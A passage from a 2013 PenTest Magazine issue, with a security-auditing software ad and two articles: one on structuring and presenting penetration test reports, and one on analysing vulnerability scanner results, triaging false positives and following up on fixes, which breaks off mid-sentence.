Cyber Security Auditing Software

Improve your
Firewall Auditing
As a penetration tester you have to be an expert in multiple
technologies. Typically you are auditing systems installed and
maintained by experienced people, often protective of their own
methods and technologies. On any particular assessment testers may
have to perform an analysis of Windows systems, UNIX systems, web
applications, databases, wireless networking and a variety of network
protocols and firewall devices. Any security issues identified within
those technologies will then have to be explained in a way that both
management and system maintainers can understand.
he network scanning phase of a
penetration assessment will quickly
identify a number of security
weaknesses and services running on the
scanned systems. This enables a tester to
quickly focus on potentially vulnerable
systems and services using a variety of tools
that are designed to probe and examine
them in more detail e.g. web service query
tools. However this is only part of the picture
and a more thorough analysis of most
systems will involve having administrative
access in order to examine in detail how
they have been configured. In the case of
firewalls, switches, routers and other
infrastructure devices this could mean
manually reviewing the configuration files
saved from a wide variety of devices.
Although various tools exist that can
examine some elements of a configuration,
the assessment would typically end up
being a largely manual process. Nipper
Studio is a tool that enables penetration
testers, and non-security professionals, to
quickly perform a detailed analysis of
network infrastructure devices. Nipper
Studio does this by examining the actual
configuration of the device, enabling a much
more comprehensive and precise audit than
a scanner could ever achieve.
www.titania.com

With Nipper Studio penetration testers can be experts in

every device that the software supports, giving them the
ability to identify device, version and configuration
specific issues without having to manually reference
multiple sources of information. With support for around
100 firewalls, routers, switches and other infrastructure
devices, you can speed up the audit process without
compromising the detail.

You can customize the audit policy for your customers

specific requirements (e.g. password policy), audit the
device to that policy and then create the report detailing
the issues identified. The reports can include device
specific mitigation actions and be customized with your
own companies styling. Each report can then be saved
in a variety of formats for management of the issues.
Why not see for yourself, evaluate for
free at titania.com

Ian has been working with leading global

organizations and government agencies to
help improve computer security for more
than a decade.
He has been accredited by CESG for his security and
team leading expertise for over 5 years. In 2009 Ian
Whiting founded Titania with the aim of producing
security auditing software products that can be used by
non-security specialists and provide the detailed
analysis that traditionally only an experienced
penetration tester could achieve. Today Titanias
products are used in over 40 countries by government
and
military
agencies,
financial
institutions,
telecommunications companies, national infrastructure
organizations and auditing companies, to help them
secure critical systems.
www.titania.com

Analyze and Report

Copyright 2013 Hakin9 Media Sp. z o.o. SK

Table of Contents
200 OK on Audience
by Vijay Velu

Writing An Effective Penetration Testing Report

by Himanshu Chaudhary

Short And Straight To The Point

by Ojo Oluwaseyi

Pentest Reporting Tips & Tricks

by Lukas Futera

Anatomy of a Vulnerability Scans before a Penetration Test

by James D. Rodger

Analysing Vulnerability Scanning Reports

by Valeriy Rasskazov

A Denial of Service Primer via Sockstress

by Roger Coon, Angela Hoffman, Charles Chapman and Timothy Hoffman

Black Hat Scenario Compromising Domain Environment

by Basem Helmy| ECSA/LPT

Dreamwalker Software
by Craig Fox

PCI DSS v3.0: What You Need To Know

by Scott Chester, Viviana Dragu, Ryan Bentley, Duane Baldwin and Chris Cronin

Basics of Wireless Penetration Testing

by Deepanshu Khanna

07
18
31
34
41
51
61
68
79
86
97

Analyze and Report

Dear Readers,
This time, we have decided to cover some topics which in our opinion dont get enough attention in the
community. Most of the testers focus on technical issues and they usually forget how important it is to have
an elegant and informative style of writing. Their clients often struggle when it comes to fixing the newly
discovered vulnerabilities mostly due to the testers poor communication skills. Almost everyone gets the
most fun from conducting the complex attacks, but we cannot forget how important it is to properly present
the results, so the outcome can be really valuable to the everyone involved.
In this issue, you will find many different ways of reporting. Some of them will be more complex and some
of them will be as simple as they can be. As a reader, you have the wonderful possibility to check them all
and choose the best option for yourself.
One would say: the whole publication about the reports? It is crazy, no one will read the entirety. Although
we disagree with this saying, many of you might have the simmilar approach, so only first four articles will
be devoted to the reporting. In the following sections, we will cover things such as vulnerability scanning,
sockstress, wireless pentesting and even the recent PCI DSS changes.
If you enjoyed any part if this publication, dont hesitate to tell us about it at en@pentestmag.com
It might take you a few minutes to write an email, but your opinion is priceless and it is the best reward we
can get.

Enjoy the reading,

Michael Rogaczewski and PenTest Team

Editor in Chief: Ewa Duranc

ewa.duranc@pentestmag.com
Managing Editor: Michael Rogaczewski
rogaczewski.michal@pentestmag.com
Editorial Advisory Board: Jeff Weaver, Rebecca Wynn, William F. Slater, III
Betatesters & Proofreaders: Ayo Tayo Balogun, Juan Bidini,
Mychael Brown, Elliot Bujan, Massimo Buso, Aidan Carty,
Stephanie Castille, Amit Chugh, Gregory Chrysanthou, Amitay
Dan, Dan Dieterle, Ewa Duranc, Pinto Elia, Dalibor Filipovic,
Pilo Dx, Zbigniew Fiona, Nitin Goplani, Alexander Groisman,
Mardian Gunawan, Hani Ragab Hassen, Jos Luis Herrera,
Steve Hodge, David Jardin, Laney Kehel, Kyle Kennedy, David
Kosorok, Gilles Lami, Mateo Martinez, Matteo Massaro, Dallas
Moore, L. Motz, Michael Munt, Varun Nair, Phil Patrick, Davide
Quarta, Sagar Rahalkar, Santosh Kumar Rana, Inaki Rodriguez,
Micha Rogaczewski, Tahir Saleem, Robin Schroeder, Tim
Singletary, Vinoth Sivasubramanian, David Small, Jeff Smith,
Johan Snyman, Craig Thornton, Arnoud Tijssen, John J. Trinckes, Jakub Walczak, John Webb, Steven Wierckx, Lotfi Yassa
and others

[ GEEKED AT BIRTH ]

Special Thanks to the Beta testers and Proofreaders who helped

us with this issue. Without their assistance there would not be a
PenTest magazine.
Senior Consultant/Publisher: Pawe Marciniak
CEO: Ewa Dudzic
ewa.dudzic@software.com.pl
Production Director: Andrzej Kuca
andrzej.kuca@software.com.pl
Art Director: Ireneusz Pogroszewski
ireneusz.pogroszewski@software.com.pl
DTP: Ireneusz Pogroszewski
Publisher: Hakin9 Media SK
02-676 Warsaw, Poland
Postepu 17D
Phone: 1 917 338 3631
www.pentestmag.com
Whilst every effort has been made to ensure the high quality of
the magazine, the editors make no warranty, express or implied,
concerning the results of content usage.
All trade marks presented in the magazine were used only for
informative purposes.
All rights to trade marks presented in the magazine are reserved by the companies which own them.

DISCLAIMER!

The techniques described in our articles may only be used

in private, local networks. The editors hold no responsibility for misuse of the presented techniques or consequent
data loss.

You can talk the talk.

Can you walk the walk?

[ ITS IN YOUR DNA ]

LEARN:
Advancing Computer Science
Artificial Life Programming
Digital Media
Digital Video
Enterprise Software Development
Game Art and Animation
Game Design
Game Programming
Human-Computer Interaction
Network Engineering
Network Security
Open Source Technologies
Robotics and Embedded Systems
Serious Game and Simulation
Strategic Technology Development
Technology Forensics
Technology Product Design
Technology Studies
Virtual Modeling and Design
Web and Social Media Technologies

www.uat.edu > 877.UAT.GEEK

Please see www.uat.edu/fastfacts for the latest information about
degree program performance, placement and costs.

Analyze and Report

Pentest Reporting Tips & Tricks

by Lukas Futera
Penetration testing is a very delicate business. It requires extensive technical background,
very special risk aware mindset and, of course, lot of experience in the field. Unfortunately
even the best findings discovered by superb tester can be presented in a wrong way. This
might lead to misinterpretation, underestimation and finally waste of precious time.
The goal of this article is to react on some basic mistakes I have seen repeated over and over in the
penetration test results, presentations and reports. I will try to highlight several important areas of the
reporting activity and present few examples of the weak points. Furthermore I will put forward several tips
on how these areas can be made more clear and readable by the target audience of the reports. Let me just
add, that I do not limit this article to pure blackbox penetration testing reporting. I would say many of the
pentests today include (at least partially) variety of activities, such as:
Vulnerability scanning
Vulnerability assessments
Threat modeling
Risk assessments
The reason is that the businesses want complex overview about security posture of their realms and they want
the hired consultants to think out of the box. They want the technical vulnerabilities connected with real risks. If
you dont do that, they will ask you: Why does it matter that you can become root on that system?

Audience and their expectations

It is critical to know the audience of the penetration testing report. The managers wont be interested in
reading the detailed remediation details, Nessus reports or vulnerability analysis. On the other side the
technical staff will most likely understand the risks of non-patched systems but wont be interested in full
business risk analysis. But of course, both parts have to be in the report.
The target audience should be identified in the initial / preparation phases of the penetration test. One of
the questions asked should be Who will be reading the report? For all the audiences of the report, the
expectations have to be managed accordingly. In other words, you need to deliver to management exactly
what they want to read. The same of course goes to technical staff, security experts etc.
Let me present several tips on how to deal with delivering the expected to the audiences of the report:
Do ask the following question: Who will be reading the report?
Classify the deliverables for specific audiences
Create simple, short and colorful deliverables with clear messages
Do read the tips in the following chapter (Organization of the report)

Presentation
The presentation of the results is critical. You have to target well according to the audience and you have to
hit the bulls-eye. A bad presentation can really murder great penetration test results especially if there are
managers among the audience. The managers mind tends to turn off when faced with technical terms.
7

Analyze and Report

And because the managers are those who are paying and ordering, it is always good idea to satisfy them first.
What is more important in the presentation is the association with the business risk. Sometimes the pentester
will like to show how complicated it was to exploit a particular issue and he will be tempted to share the
appropriate technical details. Unless it is a presentation solely for technical audience, it is not a good idea.
There is usually quite a lot of space in the report for that.
The amount of the data to be put into presentation needs to be considered. It should be known how much
time is dedicated to closing meeting. If it is a live presentation, try to put less information on the slides
and talk more in that way the attention will be on you and not on the slides. If you are just sending the
presentation over, you can afford put much more information on the slides. But remember, you should only
summarize and pinpoint the important things.
Again, several tips on how to deal with preparing the presentation and how to deal with the act of live
presenting from my point of view:
Do not put too much data inside. Focus mainly on summarization of the important things in the
presentation. The details are usually not required, because it is in the full report.
Tell a story. When doing / preparing the presentation, take similar approach, as you would be telling a
story to your kids start from the beginning, set-up the scene and then go for the finals. Afterwards you
can mention what can come next next steps.
Do not miss any important part. Mention all the important parts, such as: scope, overall posture, critical
findings, risk analysis, status of completing was something left out, etc.
Always find something nice to say. It is like going for a dinner with a girlfriend. Try to find something
good within your tests to bring up the atmosphere for example Your firewall is managed very well, the
access control is very well documented, the patching procedure is impressive
Always keep sufficient time for discussion. Try to manage the time of the presentation so the participants
can discuss. It is very important to get the feedback from them.
Be careful when recycling the presentation. It may happen that you copy the presentation template from
another customer. It is very important to take care that all remainders of the relevant data are changed. It
is very embarrassing when you see references to another company or country and you have to explain it
during the presentation.
Reference your deliverables. The deliverable created should be described and referenced. It is a good idea
to have them in the slides so receivers of the deliverables can quickly orient.

The report document and its setup

The report, unlike the presentation, should hold all the information relevant to the activities executed. But
the principle of making the report is the same. It can very well copy the structure of the presentation (of
course to certain level) and just expand the story that was summarized earlier.
You should know from the beginning what type of report is expected from you. Some customers want
verbose talkative reports, where you document every test case and describe how did you get the results. This
is usually required when the report is not going straight to the technical staff.
Some customers will not want to waste time reading an essay and will ask for a technical report instead. For
this purpose I usually create a database of findings and I include all the parameters (such as id, classification,
description, remediation steps, etc.).

Analyze and Report

TIP

What works very well for the technical reports from my experience is to create the database where the
customer is able to filter using the parameters, sort according to classification of issues. You can also use the
pivot tables (or similar feature in the spreadsheet of your choice) to create summaries and different view of
the data.
Several tips on how to organize your report:
Be in sync with your presentation. Try to follow similar structure. Then the approach looks consistent and
is well understandable by the receivers of the deliverables.
Decide on the form. Separation to several files and directories might be a good idea, when there is a lot of
technical information and logs. If it would make the report huge (even for appendices) use separate files.
But be sure you reference those in the report. Also take care that there is not too much different files if
not required.
Start with general information, and then get more technical. Try to follow the approach of telling a story.
Give a preview on what will happen (executive summary), set-up the scene (describe scope, what was
done), tell the main story (what was found, how critical is it, how it was found) and then happily ever after
(remediation, next steps, etc.). Put the hard-core technical stuff in the appendices.
Document the scope. The scope has to be fixed with the customer to avoid any disputes in the end. It is
very important to document the scope within the final deliverable. It will serve as reference on what was
targeted. If there are some parts that were (for some reason) excluded from the scope, those should be
documented as well.
Document utilized methodologies. It is important to document the crucial parts of the activity as well as
the findings. The pentester has to prove, that his methodology is reasonably effective, repeatable and to
some extent bulletproof. If you are using some of the well-established methodologies, do reference those.
It might boost the credibility of your work.
Create a structured document. Always provide a document that has a reference matrix. It is a good idea to
reference specific findings.
Use Appendixes. If there is a need to include technical documentation in the report (you dont want
to deliver separate files) use appendixes. Those are usually at the end of the document numbered
alphabetically.
Keep the size of the report reasonable. It might be a good idea to keep the main report document
reasonable in size. People like to print the document and with reasonable length it might be easier to
orient. Pasting the outputs of the tools in the Appendixes might enlarge the document dramatically.

Documenting the findings

It is a big mistake, if the pentester pastes the raw outputs of the various utilized tools (such as Nessus,
Accunetix, Burp suite, etc.) as the body of the report itself. It is always needed to interpret and verify the
outputs of executed tools. Of course the raw results can be added to the report (as appendix) but it is not a
good idea to paste the raw meat into the report.
TIP

Unless explicitly agreed with the customer, never use the output of the tools as a report. Managers will not
understand the details of the findings and the work will not be treated as professional (sometimes not even
by security people). For the price of the pentest, the company can buy and run Nessus itself.

Analyze and Report

All reported findings must be completely understood by the pentester. It may easily happen that the tester
will be questioned on the findings during the presentation and there is nothing more awkward than a
minute of silence. It happens that sometimes the audience tries to show-off and can be quite hostile. It is
better to be prepared.
The reported findings should be numbered in consistent manner. So it can be easily referenced throughout all
the deliverables with a single and unique identifier.
The classification of the findings will be discussed in following chapter.
Several tips on documenting the findings in the right way:
Number the findings. Assign unique identifiers to the findings. This is very useful when referencing the
findings in other parts of the document or other deliverables.
Categorize the findings. If there are findings from different sources (for example penetration testing,
vulnerability scanning, design review, etc.) assign the appropriate labels to the finding identifiers (for
example V1.1, P1.1). Also if your scope includes a bunch of different systems / applications, categorization
is a good friend. This might not be needed for small reports, but for large ones with huge number of
findings, it might be a good idea.
Classify the findings consistently. Apply the selected methodology for classification consistently. The
details will be discussed in following chapter.
Apply the consistent and agreed verbosity. Try to be fair in distributing the description of findings. It
should be in sync with the expectations of the customer. Does he expect full a mile long description of
how you have exploited the vulnerability? Or he wants just to identify the findings for his technical teams.
You have to certainly ask.
Provide a summary table of findings. Ive found out, that it is always a good idea to provide a table with less
detail level that shows all the findings. Usually the rows would be: finding id, short description, and criticality.
This table can be printed out and management can track the progress. They love tracking progress!

Classification and scales

The key part of every penetration testing or security assessment are (undoubtedly), the findings. Every
customer will want to prioritize the remediation activities according to classification of the findings. The
basic approach of a business is lets fix what is critical and cheap to fix. To help the customer a scale will
have to be presented. The scale can be derived from well-established external methodology or it can be
created for the purposes of the report.
In selecting a scale you can go sophisticated and calculate different factors into the resulting classification
(such as probability of exploitation, difficulty of exploitation, probability of detection, criticality of the asset
etc.). This is a very good idea when you have a homogenous environment; a lot of findings and you expect
discussions around the classification with customer. However you have to judge the value for all those sub
factors, therefore it can become a time consuming job.
On the other hand you can take more qualitative approach and you can come with some simple scale (such
as Critical, High, Medium, Low severity). I would say this is most common approach. Unfortunately you
can expect quite a lot of discussions. On the other hand it is quite easy and very common. Also you can
exchange the words for pictures sometimes, which should be representing the appropriate risk level. If you
do this, choose wisely. Usually if you need a reference table for understanding the report, the tester did a bad
job. Something very straightforward should be used to classify the findings.
If you are getting the findings from other penetration testing tools (such as Nessus, Accunetix, Burp suite
and many others) you have very different scales in every report. It is very important to synchronize those
scales into resulting report. If there are different scales, this will make the report very difficult to interpret
in terms of classification.
10

Analyze and Report

Several tips on not messing with the scales:
Choose a scale that will be understood by customer. It is important to bear in mind that it is the customer
who has to understand the classification.
Explain the scale. Whatever scale you use, do explain how it works in the methodology section of the report.
Choose a scale dynamic enough. If you are expecting a huge number of findings in very big environment,
simple 3 level scale might not be enough. It is not a bad idea to customize your scale in that case.
Do not overuse the panic button. Try to assign the highest scores only to those findings, which deserve
this status. If you add too much of red lights the sensitivity of the customer will be lowered.
Be careful about the pictures. If you choose to have pictures represent your levels in the scale, be careful
with the selection. Use something that is straightforward (such as the traffic lights). If you choose a frog
for critical, dog for high and cat for low severity issues, I bet the customer will be puzzled.
Be consistent with the scale and classification. Try to use single scale for classification all the findings
within the report. If needed convert other scales into the main one and document the conversion tables.
Be prepared to defend the classification. Even when you select a simple and intuitive scale and classify
your findings accordingly, be prepared for questions. It is good to document the process of classification
for the findings. That way, you are not surprised during the presentations Q&A part.
Be prepared to discuss and amend the classification. It might sound a bit contradictory to previous point
but it isnt. With the very short time you have for the pentest, you might not know all the parameters
of various assets you are testing. During the discussions on the presentation / report some of those
parameters might be revealed. You should be ready to take those into consideration. In case this happens,
document the amendment to the report.

Recommendations, conclusion and overall risk

rating
Sometimes the key output from the testing exercise is the set of findings and the customer will figure
out the remediation for his own. Sometimes, on the other hand, the customer is desperate to get the
recommendations.
The recommendations should tell the customer how he could effectively remediate the identified findings.
The level of detail within the recommendation should be pre-agreed with the customer. This will usually
depend on the capability of the customer to remediate on his own. If he has skilled techies, you just need to
point them in the right direction. In other case, he will need more guidance.
You should always create overall risk rating and conclusion. This should basically include a general message
that needs to be given to the customer. It can be either the application security posture is critical, it requires
immediate remediation of critical issues. Or it can be something like the network setup is reasonable
secure, no critical issues detected, however there are some potential risks that need to be addressed.
This conclusion has to be included in executive summary. Even the executive summary will be in the
beginning and the conclusion most likely in the end of the report. It is something like time travelling.

11

Analyze and Report

Few tips on how to deal with the recommendations:
Group the recommendations. The number of recommendations doesnt need to be 1:1 with the findings.
If possible make the life of the customer easier by grouping the recommendations. For example if you
uninstall the vulnerable software on the server ABC, the vulnerability findings 1-3 will be fixed.
Provide a recommendation summary with reference to classification. It is a good idea to summarize the
recommendations in the same way as findings.
Relate the recommendations to findings. Do reference the findings with recommendations so it is obvious
what are you about to fix by implementing the mentioned actions.
Translate the classification to remediation plan. If you have time for that translate the classification of the
findings into remediation plan, that will tell the customer your point of view of what recommendations
should be executed first.
Estimate cost and effort in general. Try to incorporate those two factors into your report and
recommendations. It might not be 100% accurate in the environment of the client, on the other hand it
may provide a valuable point of view.
Add the feasibility factor if possible. If possible, consider the feasibility of your recommendations. Add
this information to the recommendations. This may significantly help the customer.
Conclude and dont forget the next steps. Always take the effort to do a conclusion and use this for
recommending next steps. You can create yourself potential demands by offering additional remediation
efforts, creation of remediation roadmap etc. Do not waste the opportunity.
Dont put everything into one table. Fixing some of the findings might require serious explaining. In that
case, you can just describe the solution in general terms and relate to appendix. In case you want to make
more money, offer a remediation support in this particular issue.

About the Author

Lukas Futera has been working as information security consultant in large

corporations, medium and small businesses for past ten years. Focusing on
delivery consultations and services related to areas of technical security and
security management.

12

CYBER SECURITY
IN OIL AND GAS 2014
27 29 January 2014 | Abu Dhabi, U.A.E.

THE LEADING CYBER SECURITY EVENT

IN OIL AND GAS OF 2014!

Register before November 15, 2013 and take advantage of early bird rate.
For Sponsorship Opportunites, contact us at +971 4 884 1110
kristine.tuazon@caxtongroup.com

Developed by

Media Partners

www.caxtongroup.com

Analyze and Report

Analysing Vulnerability Scanning

Reports
by Valeriy Rasskazov
The success of an enterprise wide vulnerability assessment program depends on many
factors such as planning, budgeting, resources, technical solutions and others, but the most
important is the ability to analyse vulnerability scanning reports. Properly identified and
categorised vulnerabilities will help organisations to get the most benefit from the program
and achieve more Return on Investment. This article will cover some of the points to consider
when analysing network and web application reports.
Lets make a high level overview of the best practices of vulnerability assessment process implementation
in an organisation. From Wikipedia: A vulnerability assessment is the process of identifying, quantifying,
and prioritizing (or ranking) the vulnerabilities in a system. How do the most organisations implement this
process? The common approach is to implement the vulnerability scanning solution. There is a large number
of vendors on the market who provide comprehensive vulnerability scanning solutions.
Most of the scanners can be divided in to two categories:
Web application scanners, like Acunetix, WebInspect, NetSparker;
Network and infrastructure scanners like Nessus, Metasploit (yes, it is not just an exploitation tool the
auxiliary modules can help you to perform the vulnerability scan as well), Qualys. These scanners can
perform web application assessment as well, but their features are limited.
The process usually is very straightforward: define the scope of the vulnerability assessment, get the
permission for the audit, run the scan, analyse the results, fix the issues. However, every step brings a lot
of challenges that require particular skills and knowledge from the analyst to make this process effective.
This article wont cover the end-to-end vulnerability process, but will focus more on analysing the results,
discovering issues, prioritising them and make proper recommendations to remediate them.

Figure 1. Burp suite sample report

14

Analyze and Report

Get the right skills

First of all, lets try to understand who should be involved in analysing results.
The correct answer is: various teams and departments should be involved in this process.
Security professional. Since the report contains technical security issues and describes the most common
hacking techniques to exploit the issues, a skilled security professional should be involved. The security
analyst should have appropriate skills, knowledge and experience to understand the issues, assess a
business impact and provide appropriate recommendations to fix them. Ideally, the analyst should have
some sort of recognised security certification and background to help them in this process. Examples
of technical certifications are GWAPT, GPEN, OSCP etc. In addition, they should have excellent
communication skills to explain the issues to other teams.
Network or System administrator. If the report contains results for network or operating system
vulnerability scan, the results should be discussed with the IT operational department to verify them and
eliminate false positives. It is necessary to consult with the IT operations team as they have knowledge of
the internal systems and can provide valuable feedback for the risk assessment process. However, it should
be considered that administrators tend to lower those risks as they will be responsible for fixing the issues
and most of the time they dont want the auditors to discover any high risk items. Separation of duties
should be enforced.
Web developers. This team will be quite useful during web application analysis. Have a chat with them
before starting the scan to understand an applications functionality and technologies to make sure you
dont miss any critical requirements during the vulnerability scan. Sometimes companies use external
vendors to create web apps, so make sure you receive all the relevant documentation and APIs (for web
services) beforehand. After getting results, send them to the vendor for a validation and feedback.
Senior management. It is absolutely critical to have senior management support and deliver the results to
them, as they will be responsible for allocating a budget to fix the issues. Senior managers usually dont
have technical background, which is why vulnerabilities should be explained in non-technical terms and
as simple as possible. The vulnerability scanners can produce an executive summary section with nice
graphics, numbers and tables, but it is usually more effective just to have a 5 minute face-to-face chat
and explain them what the risks are. Use such terms as compliance, risks, brand damage, privacy
concerns, penalties etc.
Legal and regulatory. If a scope includes any systems which hold customer or employees personal
data, have your legal or regulatory department review the issues. The privacy laws are very strict in
countries like UK, Australia, US, EU etc. and any breach of personal data can cause severe penalties
for an organisation. In addition, if the scope includes systems that process credit card information, that
organisation should be PCI DSS compliant.

15

Analyze and Report

Figure 2. Netsparker sample report

First look at the report

You have just received a report from the vulnerability scanning solution. What are the first things you need
to look at?
Scope. Make sure all the necessary URLs and IP addresses were covered in the report. A few things can
go wrong. For example, when performing a web application scan the crawler doesnt always discover all of
the content on the website. Admin pages, subdirectories, subsites might not be discovered because there is
no direct link from the main site. If this happens make sure you manually add required URLs and rescan
again. For network assessment, double check IP addresses. Sometimes, firewalls block whole subnets so
that scanners cant communicate with targeted computers. Host based firewalls can also block traffic.
Scanning errors. When analysing the report, you might see that ports were open during the initial scan,
but after a few minutes theyve been closed. This might indicate that a IPS or WAF firewall is in place and
blocks the analysts IP address. Vulnerability scanners usually produce an error saying they cant connect
to the target anymore and require input from an analyst.

16

Analyze and Report

Plugins / signature version. It is always recommended to use the latest plugins during the scanning. If
plugins are more than one or two weeks old, critical vulnerabilities might be missed. New vulnerabilities
are discovered every day and vendors do a great job to update the signatures within reasonable
timeframes.
Date and time. If analysing a report performed by a third party company or even by developers/network
admin/test team, the date of the report is critical. When scanning preproduction environments, the
version should be close to the final production version to make sure there were no modifications to the
code or environment after the scan. If the report is old, you might want to retest findings or cover new
functionality that was developed after the scan.

Figure 3. Acunetix sample report

Common high risk issues

Lets suppose that you are analysing the network or infrastructure vulnerability scanning report. What issues
should be looked at with high priority?
Missing security patches. It is very common to see that servers, workstations, database servers, web
servers are missing critical security patches. Even today, when most companies have established patch
management process, it is not unusual to see, for example, legacy / dev / test Windows servers with
missing MS08-067 security patch. Why this patch is important? This patch fixes the vulnerability which
is widely exploitable by Conficker worm, which caused a lot of problems back in 2008. The Metasploit
framework has a working exploit for this vulnerability as well, which allows a remote attacker to gain full
control over the server. Make sure you subscribe to Microsoft patch alerts and also for the security RSS
feed to be aware which vulnerabilities have exploits in the wild.

17

Analyze and Report

Figure 4. Top 10 products with the most reported vulnerabilities. Report by Qualys
Default or easy passwords. These are probably the most dangerous and the most common security issues.
How many of your Cisco routers have a default password cisco? How many Microsoft SQL servers have
empty password for the SA account? If you find these issues on your network, you probably have some
serious gaps in your security. The examples above are probably easy to fix or discover. It is more difficult
to fix for example, Tomcat or Jboss servers with default accounts. During the installation process,
Tomcat doesnt provide the administrator with an option to change the default password and installs itself
with username tomcat and password tomcat. Knowing these credentials, it is possible for a potential
hacker to change the configuration of the web server or even deploy new applications, which usually
provides full access to a server.
Insecure services or protocols. FTP, Telnet, HTTP protocols are still widely used. All these protocols
transmit credentials in cleat text. Hackers can sniff a network, intercept traffic or perform Man-in-theMiddle attacks and gain unauthorised access to information. Telnet usually provides command line access
to the target device, so integrity or availability of information can be affected. Anonymous FTP servers
can provide write access to the server, so hackers can store prohibited materials on them, such as
cracked software, pirated movies etc.
Web application vulnerability scanning reports usually contain following issues:
SQL injection and XSS vulnerabilities. These vulnerabilities happen because developers dont validate
input or output parameters properly. SQL injection vulnerability allows external attackers to put malicious
SQL commands into URL parameters and manipulate backend databases: create, modify, delete the
tables, grab users passwords, and upload malware on the server. XSS (Cross-site scripting) issues allow
hackers to attack customers, which affects the companys reputation and damages the brand. These issues
should be fixed as soon as possible.
Encryption issues. SSL v2 currently is considered insecure and was supervised by SSL v3 back in 1996.
However, a large number of websites still support it. Recommendation? Disable it! All browsers releases
after 1997 support SSL v3 so there shouldnt be compatibility issues. If a user connects to a websites
(eCommerce, banking application etc.) using SSL v2, hackers sniffing the traffic have a very good chance
to decrypt it and get access to credentials. In addition, if you are running online shop and process credit
card details, having SSL v2 enabled on your website means failing PCI DSS compliance.
Click jacking and Cross-frame scripting. This is very debatable topic and there are a lot of articles and
talks about this at the time of writing this article. Should we rank this vulnerability as high critical or
informational? Burp Suite reports XSF issues as informational (not even low), Acunetix and Netsparker
18

Analyze and Report

dont even report on them. HP WebInspect will raise this as a high risk issue which should be fixed as
soon as possible. Lets understand the impact of this issue: XSF allows potential hackers to put a website
inside a frame and force users to perform transactions they probably dont want. For example, a user
might see a website saying Click here to win an iPad, but in reality when a user clicks the button, they
will make a bank transfer to the hackers account. So if you run a highly sensitive application, you should
definitely fix this issue. In case you are running a marketing website without any user interaction, you
might ignore them.

Figure 5. Burp suite reporting potential Clickjacking attack

False positives
All reports (remember, ALL reports) contain false positives. Even if a vendor of the vulnerability scanner
tells that their product doesnt produce false positives, it is not exactly correct. Indeed vulnerability may be
on the website, but the severity should be always questioned. All the websites are different depending on the
business requirement and no security product has a signature database that fits them all. Some common false
positives are listed below:
Outdated software. Most vulnerability scanners determine a software version based on a banner it
presents. For example, when you connect to the Apache web server, headers or error messages usually
tell you which version of software is used. Can you trust this information? No. Administrators can easily
change a version number to trick the potential attackers. They can increase the version number to make
an impression that they are running the latest version of the software. Or they may even want to decrease
the version to create a honeypot, so that hackers spend their time attacking less valuable asset. Sometimes
updates dont increase the version number: for example, if you are running Apache on Red Hat, security
patches wont affect the version.
Brute force attacks. It is very usual to see the vulnerability scanners reporting that a web application is
vulnerable to brute force attack. How do they check it? They try the same credentials several times, usually
five or ten times, and analyse the reaction to this activity. They expect that the web application will present
an error after ten times saying that the account is locked and a user should contact the support department
or use the password forget link. But what if the web application doesnt display an error but still blocks an
account? This case is very difficult to handle and should be verified manually by the security analyst. The
verification is very straight forward: just try to login to the account after ten unsuccessful login attempts. If
you can login in, then you have an issue. If not, mark the issue as a false positive.
Changed admin credentials or paths. One of the best practices is to assign the administrator account
to Guest usergroup and rename the real admin account to something not obvious, for example John.
19

Analyze and Report

This may trick the hackers to spend valuable time to try to brute force the password for low privileged
account. Unfortunately, this may trick the vulnerability scanners as well. So make sure you understand
the environment and double check all the issues before you escalate the issues to the senior management.

False negatives
How can you find false negatives in the report? The simple answer: you cant. False negatives are the
vulnerabilities which were not discovered by the scanner, but present on the real site. The security analyst
should be aware when false negatives can happen and make sure they are discovered by manual testing.
Out-of-Band Authentication. In order to improve the security, many companies implement two factor
authentication or user registrations with out-of-band communications. This includes sending SMS to
a customer mobile phone, calling a customer, sending emails or using a Mobile application to login.
The tester should manually review the login process and see if there are potential security issues. Is the
new password sent to the user in clear text? Is the SMS code predictable, for example incremental? Is it
possible to hijack a customer account if a hacker has physical access to the phone? Create use or business
cases and try to understand the end-to-end data flow to perform a comprehensive risks assessment.
Business login flaws. For a complex application, which gathers data from different sources and have
multiple user profiles and products, each business transaction should be analysed for potential issues. The
vulnerability scanners can tell if input fields dont filter the malicious code, but they cant tell you whether
your business process is well designed or not. Do you remember the recent vulnerability in Skype?
Hackers could hijack users account by simply contacting the support department! The user validation
was based on telling five contact details from the list, email that was used during the registration and
a full name. All these details can be easily obtained or discovered, so a large number of accounts were
compromised. Definitely a business process flaw.
Restricted pages and lack of privileges. A typical marketing website has in average two or three privilege
levels (user level and admin), but a banking application may have more than a hundred different roles and
hundreds of different privileges. In order to perform the comprehensive vulnerability assessment, you need
to create N*M size matrix, where N is a number of privileges, M is a number of functions and test all input
parameters using different credentials. Vulnerability scanners can do a good job for small applications;
however, complex web portals require a lot of manual configuration from the security analyst.

Follow up on the findings

So now you have vulnerability reports produced by a scanner and you have eliminated all false positives and
negatives. What is the next step?
Categorise findings. Depending on your companys risk appetite and risk management matrix, you need to
assign the appropriate risk level to the issues. I recommend you work closely with the risks management
department (if you have one) or someone from the senior management to understand the real impact
on your organisation. Popular risk matrixes are 5x5 and 3x3, but you can find organisations using 3x5,
5x7, 5x3 and others. The simpler the matrix the better, however, it needs to have enough flexibility to
categorise the risks.
Send the technical findings to the IT team. Work closely with the network admins, web developers and
system administrators to resolve the issues. Share the recommendations provided by the vulnerability
scanner (make sure you understand them first) and be prepared to clarify them or answer additional
questions. The technical teams will try to avoid making any changes on the production systems as it
might break the existing functionality. If the changes are necessary or affect a large number and system
downtime is required, make sure you implement them on the test or developer system first, validate that
the issue is fixed and then implement the changes in production environment.
Retest the issues after they are fixed. When you get the confirmation from the IT team that the issues are
fixed and the risks are remediated, retest is required to validate this. You might want to rescan the whole
system or the application if the time allows, or just manually validate the findings from the initial report.
20

Analyze and Report

Some issues are pretty straightforward to retest, for example if the website is using SSL certificate or
not, Telnet port is opened or closed etc. However, such issues as XSS vulnerabilities, insufficient access
controls for the network folders, password policies require some time to validate.
Table 1. Simple risk matrix
Likelihood
Likely
Possible
Unlikely

Consequences
Minor
MEDIUM
LOW
LOW

Moderate
HIGH
MEDIUM
LOW

Major
HIGH
HIGH
MEDIUM

Keeping the records

If your company performs the security assessment of one website once per year, you probably can just keep
the report in the email or on a network folder. But what if you have hundreds of websites and critical systems
and you perform the assessment every three month?
Excel spread sheets. All vulnerability scanners allow exporting the results to CSV or XML files. Excel
is a very powerful tool to sort, analyse and monitor the results. You can import the results from multiple
scans, track the statistics and build trends. Put the information about the remediation activities and follow
ups. Pivot Tables will help to generate the reports across multiple security scans and build nice graphs,
